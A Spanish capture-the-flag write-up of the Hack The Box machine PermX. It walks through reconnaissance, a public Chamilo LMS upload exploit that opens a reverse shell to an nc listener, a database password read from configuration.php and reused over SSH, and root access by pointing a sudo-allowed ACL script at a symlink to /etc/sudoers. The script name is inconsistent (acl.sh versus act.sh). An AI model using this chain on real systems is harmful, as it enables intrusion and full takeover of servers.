10 minuto(s) de lectura

Recocimiento

Esta máquina está clasificada como fácil y no puedo decir lo contrario. Lo primero que se hace es un escaneo usando nmap con la siguiente línea de código:

nmap -p- --min-rate 5000 -n --open -vvv -sS -oG allPorts 10.10.11.23

EEl escaneo nos arrojó que están abiertos dos puertos, el 22 y el 80, algo muy común para un servidor que aloja un servicio web. Para ello, vamos a escanear de manera exhaustiva los puertos con el siguiente comando:

nmap -sCV -p22,80 -oN Ports 10.10.11.23

Nos arroja la siguiente información:

# Nmap 7.94SVN scan initiated Thu Jul 11 16:02:33 2024 as: nmap -sCV -p22,80 -oN Ports 10.10.11.23
Nmap scan report for 10.10.11.23
Host is up (0.34s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ 

Debemos agregar al archivo hosts la dirección y su enlace:

sudo nano /etc/hosts

En el archivo se agrega lo siguiente:

10.10.11.23     permx.htb

Una vez guardados los cambios, vamos a nuestro navegador y analizamos la página:

Navegando en la página, no encontramos nada en lo cual se pueda comenzar un ataque, así que ahora procedemos a usar la herramienta `ffuf` para encontrar posibles páginas ocultas.

❯ ffuf -u http://permx.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://permx.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htpasswd               [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 138ms]
.htaccess               [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 140ms]
css                     [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 226ms]
img                     [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 205ms]
js                      [Status: 301, Size: 303, Words: 20, Lines: 10, Duration: 160ms]
lib                     [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 125ms]
server-status           [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 129ms]
:: Progress: [20476/20476] :: Job [1/1] :: 162 req/sec :: Duration: [0:01:29] :: Errors: 0 ::

Con el escaneo encontramos diversas páginas:

Pero hay un problema, en ninguna de estas se encontró nada interesante, así que procedemos a buscar alguna página asociada o subdominio, es decir, host distinto que un usuario tenga que iniciar sesión. Para ello, vamos a usar fuzz de otra manera.

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://permx.htb -H "Host: FUZZ.permx.htb" -fc 302

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://permx.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 510ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 270ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

Como podemos ver, encontramos dos subdominios, los cuales son:

De estos subdominios, el que realmente es interesante es el segundo (lms.permx.htb), en este podemos encontrar el panel de inicio de sesión el cual usa Chamilo:

En esta página podemos encontrar un inicio de sesión. Probamos con credenciales típicas como admin - admin, pero no tiene fallas de ese estilo. Así como en la página anterior vimos que tenía páginas ocultas, procedemos a buscar si esta cuenta con páginas ocultas:

❯ ffuf -u http://lms.permx.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://lms.permx.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 220ms]
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 225ms]
LICENSE                 [Status: 200, Size: 35147, Words: 5836, Lines: 675, Duration: 164ms]
app                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 176ms]
bin                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 290ms]
certificates            [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 326ms]
documentation           [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 137ms]
favicon.ico             [Status: 200, Size: 2462, Words: 3, Lines: 2, Duration: 338ms]
main                    [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 135ms]
plugin                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 153ms]
robots.txt              [Status: 200, Size: 748, Words: 75, Lines: 34, Duration: 156ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 137ms]
src                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 156ms]
vendor                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 127ms]
web                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 161ms]
:: Progress: [20476/20476] :: Job [1/1] :: 47 req/sec :: Duration: [0:01:38] :: Errors: 0 ::

De la misma manera que en la página anterior, encontramos las siguientes páginas:

Si bien encontramos una variedad de enlaces, ninguno de estos es realmente relevante, ya que, a pesar de encontrar información, esta no es de utilidad ni muestra alguna brecha de seguridad aparente. Así que nos queda investigar si la versión de Chamilo que se utilizó en la página web tiene alguna vulnerabilidad. Para ello, podemos verla en el enlace http://lms.permx.htb/documentation/, el cual nos muestra la siguiente información:

Podemos observar que la versión utilizada es Chamilo 1.11. Después de una investigación, hallamos que sí tiene una vulnerabilidad, la cual se puede encontrar como:

Esta vulnerabilidad nos dice que:

  • Descripción de la vulnerabilidad

    La carga no restringida de archivos en la funcionalidad de carga de archivos grandes en /main/inc/lib/javascript/bigupload/inc/bigUpload.php en Chamilo LMS <= v1.11.24 permite a atacantes no autenticados realizar ataques de cross-site scripting almacenados y obtener la ejecución remota de código a través de la carga de web shell.

  • Descripción del riesgo

    Existe el riesgo de que un atacante remoto no autenticado pueda comprometer completamente el servidor para robar información confidencial, instalar ransomware o pivotar a la red interna.

  • Recomendación

    Se recomienda actualizar el software afectado a la última versión, que mitiga esta vulnerabilidad.

Referencia: Chamilo LMS <= 1.11.24 - Remote Code Execution

Explotacion

Una vez entendida la vulnerabilidad, procedemos a buscar un exploit o, en su caso, programarlo. Para fines prácticos, se utiliza el siguiente exploit:

Clonamos el exploit y accedemos a la carpeta, luego procedemos a ejecutar el siguiente comando:

python3 main.py -u http://lms.permx.htb/ -a revshell

Antes de ejecutar el comando, debemos estar en otra terminal y asegurarnos de haber ejecutado el siguiente comando para escuchar en el puerto:

nc -lnvp [PORT

#Ejemplo
nc -nlvp 4444 

Si todo fue exitoso, la terminal donde ejecutamos el exploit debería finalizar de la siguiente manera:

Y la terminal que estamos escuchando estaria asi:

❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.59] from (UNKNOWN) [10.10.11.23] 39654
bash: cannot set terminal process group (1186): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ 

Después de investigar en la máquina, encontramos la siguiente información:

www-data@permx:/var/www/chamilo/app/config$ ls
add_course.conf.dist.php   course_info.conf.php  profile.conf.dist.php
add_course.conf.php        events.conf.dist.php  profile.conf.php
assetic.yml                events.conf.php       routing.yml
auth.conf.dist.php         fos                   routing_admin.yml
auth.conf.php              ivory_ckeditor.yml   routing_dev.yml
config.yml                 mail.conf.dist.php    routing_front.yml
config_dev.yml             mail.conf.php         security.yml
config_prod.yml            migrations.yml        services.yml
configuration.php          mopa                  sonata
course_info.conf.dist.php  parameters.yml.dist

www-data@permx:/var/www/chamilo/app/config$ cat configuration.php
<?php
// Chamilo version 1.11.24
// File generated by /install/index.php script - Sat, 20 Jan 2024 18:20:32 +0000
/* For licensing terms, see /license.txt */
/**
 * This file contains a list of variables that can be modified by the campus site's server administrator.
 * Pay attention when changing these variables, some changes may cause Chamilo to stop working.
 * If you changed some settings and want to restore them, please have a look at
 * configuration.dist.php. That file is an exact copy of the config file at install time.
 * Besides the $_configuration, a $_settings array also exists, that
 * contains variables that can be changed and will not break the platform.
 * These optional settings are defined in the database, now
 * (table settings_current).
 */

// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;

En este caso, podemos encontrar una contraseña. Esta contraseña, en primeras instancias, es para iniciar sesión en la base de datos, pero podemos probar si esta contraseña funciona para conectarnos al usuario encontrado. Este usuario lo encontramos al acceder a la carpeta /home/. Ahí podemos ver ese usuario, así que procederemos a intentar iniciar sesión por SSH.

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload$ cd /home
cd /home
www-data@permx:/home$ ls
ls
mtz
www-data@permx:/home$ 

Para iniciar una conexion ssh procedemos ejecuatar el siguiente comando:

ssh mtz@10.10.11.23

una vez iniciado nos pedira la contrasela la cual insertaremos la que encontramos y soprendentemente es la misma contraseña

Como podemos ver solo tenemos acceso a un archivo el cual nos permitira elevar previlegios

mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
mtz@permx:~$ cat /opt/acl.sh 
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

Procedimiento para elevar previlegios

Explicación

1- Crear un enlace simbólico:

ln -s /etc/sudoers symlink
  • ln: Comando para crear enlaces.
  • -s: Indica que se creará un enlace simbólico (o "symlink").
  • /etc/sudoers: Archivo original al que se creará el enlace.
  • symlink: Nombre del nuevo enlace simbólico.

Este comando crea un enlace simbólico llamado symlink que apunta al archivo /etc/sudoers. Los enlaces simbólicos son como atajos que apuntan a otro archivo o directorio.

2- Listar archivos con detalles:

ls -l
  • ls: Comando para listar archivos y directorios.

    Este comando mostrará una lista de archivos en el directorio actual, incluida información detallada sobre cada archivo. Entre ellos, se mostrará el enlace simbólico symlink.

  • -l: Muestra una lista detallada de archivos con permisos, número de enlaces, propietario, grupo, tamaño, fecha de modificación y nombre del archivo.

3- Ejecutar un script con privilegios:

sudo /opt/act.sh mtz rwx /home/mtz/symlink
  • sudo: Ejecuta un comando con privilegios de superusuario (root).
  • /opt/act.sh: Ruta al script que se va a ejecutar.
  • mtz rwx /home/mtz/symlink: Argumentos pasados al script.

Este comando ejecuta el script /opt/act.sh con privilegios elevados, pasando los argumentos mtz, rwx y /home/mtz/symlink. La naturaleza de estos argumentos y el propósito del script dependerá de su contenido.

4- Editar un archivo con nano:

nano /home/mtz/symlink
  • nano: Editor de texto en la línea de comandos.
  • /home/mtz/symlink: Archivo que se va a editar.

Este comando abre el archivo /home/mtz/symlink en el editor de texto nano. Como symlink es un enlace simbólico que apunta a /etc/sudoers, estarás editando el archivo real /etc/sudoers.

Ejemplo de imagen

5- Cambiar a superusuario:

sudo su
  • sudo: Ejecuta un comando con privilegios de superusuario (root).
  • su: Cambia de usuario.

Este comando te cambia al usuario root, dándote acceso completo a todo el sistema.